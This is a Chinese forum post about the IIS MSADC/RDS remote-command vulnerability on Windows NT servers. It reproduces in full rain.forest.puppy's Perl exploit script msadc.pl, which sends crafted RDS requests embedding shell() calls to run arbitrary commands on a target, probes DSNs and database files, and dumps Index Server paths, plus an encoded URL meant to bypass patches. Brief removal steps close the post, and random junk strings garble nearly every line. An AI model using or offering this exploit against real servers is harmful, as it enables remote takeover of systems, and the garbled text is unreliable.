社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167988阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) vCYSm  0  
#r78Ym'aI  
涉及程序: nEeQL~:  
Microsoft NT server p =#'B*'w  
j=!(F`/  
描述: Po2_ 0uX  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ac*B[ywA3  
dlU JYI  
详细: EIy]qAE:f  
如果你没有时间读详细内容的话,就删除: 8ItCfbqa6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll H-nFsJ(R!c  
有关的安全问题就没有了。 EN5G:hD  
7TMDZ*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 %N?W]vbra  
'b?#4rq}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 t1*BWY  
关于利用ODBC远程漏洞的描述,请参看: Xs.$2  
&mO/u= u  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6&/ Ew4 e  
P@o,4\;K  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %M4XbSN|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (mOqv9pn  
e|OG-t[$*  
这里不再论述。 fwar8 i1  
=0jmm(:Jh  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $\JQGic`  
A>ug'.  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset XSL t;zL:  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +S:u[x  
xIq"[?m  
&+|jJ{93z  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Q8M:7#ySji  
w|K(>5nz  
#!perl %nG~u,_2f  
# 3.GdKP.%  
# MSADC/RDS 'usage' (aka exploit) script `CTkx?e[  
# [1Qk cR  
# by rain.forest.puppy "`8H:y  
# CIxVR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me TV[6+i*#  
# beta test and find errors! tXb7~aO  
Sl+jduc  
use Socket; use Getopt::Std; ;N> {1  
getopts("e:vd:h:XR", \%args); *h5ldP  
~Q{[fy=  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !)l%EJngL  
z_[ 3IAZ  
if (!defined $args{h} && !defined $args{R}) { nEZ-h7lzl(  
print qq~ q:D0$YY0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } o q'J*6r  
-h <host> = host you want to scan (ip or domain) )U/@J+{{  
-d <seconds> = delay between calls, default 1 second fjz2m   
-X = dump Index Server path table, if available m`1}O"<&i  
-v = verbose r~Is,.zZ}  
-e = external dictionary file for step 5 T[8"u<O96  
1Q2k>q8  
Or a -R will resume a command session ??esB&4?  
,*O{jc`(  
~; exit;} hD9' `SQ  
b|V4Fp  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Cs~\FI1wR  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Ej{eq^n  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} (Db*.kd8,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  4.Jaw+  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d9Ow 2KrC  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qkR,<"C|`  
y>pq*i  
if (!defined $args{R}){ $ret = &has_msadc; FclSuQWti  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} yg]nS<K~4  
l52n/w#qFB  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" <EMLiiNY  
. "cmd /c "; ?'8MI|*l%  
$in=<STDIN>; chomp $in; aaa#/OWQZ  
$command="cmd /c " . $in ; uN? O*h/(  
:Jsz"vCg&s  
if (defined $args{R}) {&load; exit;} Nf?, _Rl  
VdN+~+A:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; l2KxZteXY0  
&try_btcustmr; Al-%j- j@-  
oJz:uv8Pe.  
print "\nStep 2: Trying to make our own DSN..."; JNA}EY^2I.  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |Bf:pG!  
Q1>Op$>h  
print "\nStep 3: Trying known DSNs..."; $/U^/2)  
&known_dsn; Vl QwVe  
M0"g/W  
print "\nStep 4: Trying known .mdbs..."; 9 %.<V_$  
&known_mdb; yZPFo  
%>*0.)wG  
if (defined $args{e}){ 6@_@nlA<1  
print "\nStep 5: Trying dictionary of DSN names..."; 0g*r!aa  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;?L[]Ezzt  
LZAj4|~,m  
print "Sorry Charley...maybe next time?\n"; ]&tr\-3  
exit; rsIPI69qJ.  
k;Ny%%5  
############################################################################## i!+3uHWu`)  
" ih>T^|  
sub sendraw { # ripped and modded from whisker 5Z>pa`_$2  
sleep($delay); # it's a DoS on the server! At least on mine... =D"63fP1  
my ($pstr)=@_; )V =K#MCK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *U^\Mwp  
die("Socket problems\n"); "GC]E8&>H  
if(connect(S,pack "SnA4x8",2,80,$target)){ u g$\&rM>  
select(S); $|=1; Z=5}17kA  
print $pstr; my @in=<S>; YPJx/@Z`  
select(STDOUT); close(S); sZP3xh[B  
return @in; hZ /  
} else { die("Can't connect...\n"); }} GyXs{*  
Tk|;5^#H  
############################################################################## .)pRB7O3  
-D^y)  
sub make_header { # make the HTTP request EvardUB)  
my $msadc=<<EOT p(&o'{fb  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Y`_X@Q  
User-Agent: ACTIVEDATA {*r$m>HpM  
Host: $ip e.Q K%  
Content-Length: $clen ~FrkLP  
Connection: Keep-Alive a>jI_)L  
Ch&]<#E>`  
ADCClientVersion:01.06 XTXo xZ#w  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 i I Nu`>I  
`h{mj|~  
--!ADM!ROX!YOUR!WORLD! M,! no  
Content-Type: application/x-varg vz_g2.7l\  
Content-Length: $reqlen 4JQ`&:?r  
ydFhw}1>  
EOT 3 BhA.o  
; $msadc=~s/\n/\r\n/g; L-:L= snO  
return $msadc;}  #=~1hk  
TOF62,  
############################################################################## la{:RlW  
oZcwbo8  
sub make_req { # make the RDS request d`][1rZk  
my ($switch, $p1, $p2)=@_; 6)2M/(  
my $req=""; my $t1, $t2, $query, $dsn; )tQ6rd'  
lJ1xx}k{U  
if ($switch==1){ # this is the btcustmr.mdb query Tq_X8X#p  
$query="Select * from Customers where City=" . make_shell(); b2-|e_x  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . qy(/   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &)}:Y!qiu  
>xMhA`l  
elsif ($switch==2){ # this is general make table query t }C ^E  
$query="create table AZZ (B int, C varchar(10))"; ~I^[rP~  
$dsn="$p1";} (GOrfr  
<hC3#dNRd  
elsif ($switch==3){ # this is general exploit table query 8PVs!?Nne  
$query="select * from AZZ where C=" . make_shell(); W>s9Mp  
$dsn="$p1";}  v2=!*  
csA.3|rv  
elsif ($switch==4){ # attempt to hork file info from index server tnbs]6  
$query="select path from scope()"; +dpj?  
$dsn="Provider=MSIDXS;";} 3EX&.OL!  
g<tTZD\g  
elsif ($switch==5){ # bad query |}.B!vg(4  
$query="select"; *H<g9<Dn  
$dsn="$p1";} QgM_SY|Rj  
&>B>+}'  
$t1= make_unicode($query); )$N{(Cke2T  
$t2= make_unicode($dsn); R6o<p<fTh  
$req = "\x02\x00\x03\x00"; )KQv4\0y<  
$req.= "\x08\x00" . pack ("S1", length($t1)); uB"m!dL  
$req.= "\x00\x00" . $t1 ; BU{ V,|10a  
$req.= "\x08\x00" . pack ("S1", length($t2)); .wn_e=lT  
$req.= "\x00\x00" . $t2 ; / H/Ne )r  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $ttr_4=  
return $req;} 2j BE+k"M  
b'"%   
############################################################################## ;pK"N:|  
-2Cf)>`v  
sub make_shell { # this makes the shell() statement w/D m  
return "'|shell(\"$command\")|'";} K T72D  
5kZ yiC*  
############################################################################## 6Tmb@<I_  
`mTxtuid{  
sub make_unicode { # quick little function to convert to unicode `l#$l3v+  
my ($in)=@_; my $out; !0+Ex F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ,/U 9v~  
return $out;} ri V/wN9C  
8=AKOOU7>  
############################################################################## ~7lvY+k)<  
)cBV; E<  
sub rdo_success { # checks for RDO return success (this is kludge) qf$|z`c  
my (@in) = @_; my $base=content_start(@in); )F2tV ]k\  
if($in[$base]=~/multipart\/mixed/){ `3s-\>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 6_><W"r:]  
return 0;} (pNng"/  
j!n> d  
############################################################################## +Z0E?,Oz  
ADUI@#vk  
sub make_dsn { # this makes a DSN for us ")buDU6_  
my @drives=("c","d","e","f"); R6.#gb8^oS  
print "\nMaking DSN: "; +34jot.!  
foreach $drive (@drives) { 3!UP>,!  
print "$drive: "; 3`q`W9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _j tS-CnO  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" aJ@qB9(ZBe  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ]}c=U@D,9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; $X]v;B)J|  
return 0 if $2 eq "404"; # not found/doesn't exist z:7F5!Z  
if($2 eq "200") { ?bA]U:  
foreach $line (@results) { +'4dP#  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} d0,F'?.0|  
} return 0;} j"=jK^  
m,q<R1  
############################################################################## {<BK@U  
,gD i)]  
sub verify_exists { }TLC b/+  
my ($page)=@_; d7gSkna`5c  
my @results=sendraw("GET $page HTTP/1.0\n\n"); |mA*[?ye@  
return $results[0];} # =3]bg  
7[ji,.7  
############################################################################## xq*yZ5:5Jo  
B 1.@K}  
sub try_btcustmr { Ww4G  
my @drives=("c","d","e","f"); cK@K\AE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #<3\}*/  
l!'iLq"K(  
foreach $dir (@dirs) { "VCr^'  
print "$dir -> "; # fun status so you can see progress |th )Q  
foreach $drive (@drives) { _xsYcw~)  
print "$drive: "; # ditto vBXr[XoC  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; H:Le^WS  
$reqlenlen=length( "$reqlen" ); ,' B=eY,  
$clen= 206 + $reqlenlen + $reqlen; gC 4#!P  
yh<aFYdk  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =,]M$M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 2F{IDcJI\  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .[A S  
= 0Sa  
############################################################################## ~`.%n7  
Ca|;8ggf  
sub odbc_error { \}W.RQ^3  
my (@in)=@_; my $base; 2uEu,YC  
my $base = content_start(@in); WKML#U]5T  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this -]%@,L^@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LOzKpvGl  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #YdU,y=B  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?sE21m?b-  
return $in[$base+4].$in[$base+5].$in[$base+6];} (#lS?+w)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $!w%=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (%, '  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} AR^Di`n!  
v2R:=d ')>  
############################################################################## WFG/vzJ  
rK wkj)  
sub verbose { H;ib3?  
my ($in)=@_; 6 H.Da]hk  
return if !$verbose; :8 :>CHa  
print STDOUT "\n$in\n";} Nx'j+>bz>y  
Cv33?l-8%_  
############################################################################## *^()el,d  
4+"SG@i`W  
sub save { $la,_Sr  
my ($p1, $p2, $p3, $p4)=@_; Y.J$f<[R  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; gX<C-y6o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; C? S%fF  
close OUT;} *1Q?~  
oef(i}8O@  
############################################################################## M:E#}(  
u)-l+U.  
sub load { KivzgNz  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; j*}xe'#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Pip if.  
@p=<IN>; close(IN); <LY+" Y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); zT8K})#  
$target= inet_aton($ip) || die("inet_aton problems"); T8LwDqio  
print "Resuming to $ip ..."; S0cO00_ob  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hrK^oa_[W  
if($p[1]==1) { IT|CfQ [D  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; aL}_j#m{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wW~2]*n  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); PoZBiw@  
if (rdo_success(@results)){print "Success!\n";} d|3[MnU[a  
else { print "failed\n"; verbose(odbc_error(@results));}} vr$ [  
elsif ($p[1]==3){ '"Gi&:*nQ<  
if(run_query("$p[3]")){ l]gf T&  
print "Success!\n";} else { print "failed\n"; }} sXA=KD8  
elsif ($p[1]==4){ /DCUwg=0  
if(run_query($drvst . "$p[3]")){ ::6@mFLR  
print "Success!\n"; } else { print "failed\n"; }} NG ~sE&,7  
exit;} XOMWqQr|  
*RhdoD|a  
############################################################################## .E(Ucnz/  
-[z;y73]t  
sub create_table { fy5)Tih%.*  
my ($in)=@_; t [f]  
$reqlen=length( make_req(2,$in,"") ) - 28; #"l=Lv  
$reqlenlen=length( "$reqlen" ); %|Vq"MW,I  
$clen= 206 + $reqlenlen + $reqlen; 1ARIZ;H  
my @results=sendraw(make_header() . make_req(2,$in,"")); QMP:}  
return 1 if rdo_success(@results); ?uQpt(  
my $temp= odbc_error(@results); verbose($temp); G8VWx&RE  
return 1 if $temp=~/Table 'AZZ' already exists/; pB`<4+"9  
return 0;} Gwe9< y  
G6FknYj  
############################################################################## f`cO5lP/:)  
0:nyOx(;  
sub known_dsn { Em;zi.Y+V  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .3#Tw'% G  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", iM-@?!WF  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", L,$9)`j  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4?`7XJ0a  
X(~NpLR  
foreach $dSn (@dsns) { _F3:j9^  
print "."; G 9;WO*  
next if (!is_access("DSN=$dSn")); :7gIm|2"]  
if(create_table("DSN=$dSn")){ {>#Ya;E  
print "$dSn successful\n"; *:iFhKFU  
if(run_query("DSN=$dSn")){ JdE=!~\8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {.v+ iSM  
print "Something's borked. Use verbose next time\n";}}} print "\n";} t5S S]  
h1xYQF_`Z  
############################################################################## N]3XDd|q  
==& =3  
sub is_access { ]'Bz%[C)  
my ($in)=@_; L]Uy+[gg  
$reqlen=length( make_req(5,$in,"") ) - 28; 8WMC ~  
$reqlenlen=length( "$reqlen" ); +u7mw<A 8  
$clen= 206 + $reqlenlen + $reqlen; iVE+c"c!2&  
my @results=sendraw(make_header() . make_req(5,$in,"")); kAMt8  
my $temp= odbc_error(@results); czafBO6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R b'"09)$  
return 0;} D?$f[+  
?(Nls.c  
############################################################################## Xh5 z8  
QM=X<?m/,=  
sub run_query { 72aj4k]^  
my ($in)=@_; Re`= B  
$reqlen=length( make_req(3,$in,"") ) - 28; u?!p[y6  
$reqlenlen=length( "$reqlen" ); cYK3>p A  
$clen= 206 + $reqlenlen + $reqlen; /J^yOR9  
my @results=sendraw(make_header() . make_req(3,$in,"")); O3S_P]{*ny  
return 1 if rdo_success(@results); mU;TB%#)  
my $temp= odbc_error(@results); verbose($temp); yA~W|q(/V  
return 0;} N7XRk= J  
Y:O%xtGi  
############################################################################## E$gcd#rT  
<3'r&ks  
sub known_mdb { Q!c*2hI  
my @drives=("c","d","e","f","g"); h-V5&em"_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JVRK\A|R  
my $dir, $drive, $mdb; 6u7>S?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; nCt:n}+C7  
7P=j2;7 v  
# this is sparse, because I don't know of many qvCl mZ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", tcfUhSz,I  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Y>r9"X| &H  
"\\system32\\certmdb.mdb", IYd)Vv3'j  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% R ~#\gMs  
f5AK@]4G  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7 yK >  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 5E$)Ip  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", L0}"H .  
"\\cfusion\\cfapps\\security\\realm_.mdb", tR1 kn&w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~Os~pTo  
"\\cfusion\\database\\cfexamples.mdb", .pZwhb  
"\\cfusion\\database\\cfsnippets.mdb", ?_IRO|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ^8DC W`V  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^J?I-LG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", M%Ov6u<I8  
"\\cfusion\\database\\smpolicy.mdb", ))<3+^S0V\  
"\\cfusion\\database\cypress.mdb", $w{#o E  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", fDf:Jec`[  
"\\website\\cgi-win\\dbsample.mdb", ~u3E+w  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ao2t=vg  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" $5l8V  
); #these are just VUk2pEGO.  
foreach $drive (@drives) { VB\oK\F5z  
foreach $dir (@dirs){ D{~I  
foreach $mdb (@sysmdbs) { ]oj 2  
print "."; Y6f0 ?lB  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ L9(fa+$+#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Ga"t4[=I  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ p3&w/K{L6w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; G}d@^9FkE  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r\Zz=~![<  
;kY'DKL(  
foreach $drive (@drives) { !>+YEZ"  
foreach $mdb (@mdbs) { b k 30d  
print "."; 3DbS\jja  
if(create_table($drv . $drive . $dir . $mdb)){ S 7RB` I5  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0@vSl%I+  
if(run_query($drv . $drive . $dir . $mdb)){ r!'\$(m E  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [;%qxAB/_  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1t6VS 3  
} 5\lOZYHX  
mJp)nF8r~  
############################################################################## <GT&q <4w  
-:&qNY:Vp  
sub hork_idx { /aP4'U8ov  
print "\nAttempting to dump Index Server tables...\n"; Y;G+jC8   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; N^H~VG&D(  
$reqlen=length( make_req(4,"","") ) - 28; ewN!7  
$reqlenlen=length( "$reqlen" ); zQ&`|kS  
$clen= 206 + $reqlenlen + $reqlen; \:, dWL u  
my @results=sendraw2(make_header() . make_req(4,"","")); Cwl#(; @  
if (rdo_success(@results)){ 0& 54xP  
my $max=@results; my $c; my %d; w|7<y8#qC  
for($c=19; $c<$max; $c++){ jw]~g+x#$  
$results[$c]=~s/\x00//g; l*rli[No  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; D=i)AZqMPp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; y ~7]9?T  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; G$ ( B26  
$d{"$1$2"}="";} Tapj7/0`  
foreach $c (keys %d){ print "$c\n"; } %3!DRz  
} else {print "Index server doesn't seem to be installed.\n"; }} g4^=Q'j-  
4*&_h g)h  
############################################################################## '#L.w6<B  
\L Gj]mb1  
sub dsn_dict { XDRw![H,~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6SJ  
while(<IN>){ H:TRJ.!w2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ju~js  
next if (!is_access("DSN=$dSn")); Sxa+"0d6  
if(create_table("DSN=$dSn")){ \4zb9CxOZ  
print "$dSn successful\n"; O0[.*xG  
if(run_query("DSN=$dSn")){ 5srj|'ja  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  #-r,;  
print "Something's borked. Use verbose next time\n";}}}  74i  
print "\n"; close(IN);} }}y~\TB~}  
vau0Jn%=ck  
############################################################################## z)*7LI  
>VIb|YA  
sub sendraw2 { # ripped and modded from whisker JI##l:,7r  
sleep($delay); # it's a DoS on the server! At least on mine... R-5EztmLae  
my ($pstr)=@_; XpFW(v  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;n0VF77>O  
die("Socket problems\n"); J=Q?_$xb}  
if(connect(S,pack "SnA4x8",2,80,$target)){ u2}zRC=  
print "Connected. Getting data"; &]~Vft l  
open(OUT,">raw.out"); my @in; qn=~4rg]R  
select(S); $|=1; print $pstr; w_4/::K*  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} g:V8"'  
close(OUT); select(STDOUT); close(S); return @in; ?( rJ  
} else { die("Can't connect...\n"); }} SFP%UfM<  
V 3?x_pp  
############################################################################## L Vt{`   
v 9\2/B  
sub content_start { # this will take in the server headers h' #C$i  
my (@in)=@_; my $c; FyY<Vx'yQ  
for ($c=1;$c<500;$c++) { M`{~AIqd(  
if($in[$c] =~/^\x0d\x0a/){ %an"cQ ]  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `IN/1=]5  
else { return $c+1; }}} AM?62  
return -1;} # it should never get here actually `0'Bg2'  
2vbm=~)$F  
############################################################################## MOp06  
ixJ%wnz  
sub funky { ':Avh|q3N  
my (@in)=@_; my $error=odbc_error(@in); 6'E3Q=}d  
if($error=~/ADO could not find the specified provider/){ Teo&V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (^,4{;YQ5  
exit;} u6tD5Y  
if($error=~/A Handler is required/){ !5FZxmUup  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ut|G.%1Vd%  
exit;} -SO`wL NV  
if($error=~/specified Handler has denied Access/){ ]m&cVy&  
print "\nServer has custom handler filters (they most likely are patched)\n"; k?[|8H~2C  
exit;}} "eRf3Q7w:  
*|97 g*G(  
############################################################################## fZ8at  
z;fi  
sub has_msadc { /8](M5X]f  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 5BWO7F0v"  
my $base=content_start(@results); v uP.V#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \l$gcFXb  
return 0;} H!uB&qY  
'a1%`rzm  
######################## VkKq<`t<  
LNm{}VJ%  
UTT7a"  
解决方案: q4Z9;^S  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll c^Y&4=>T  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +*Um:}&  
Gn+3OI"  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八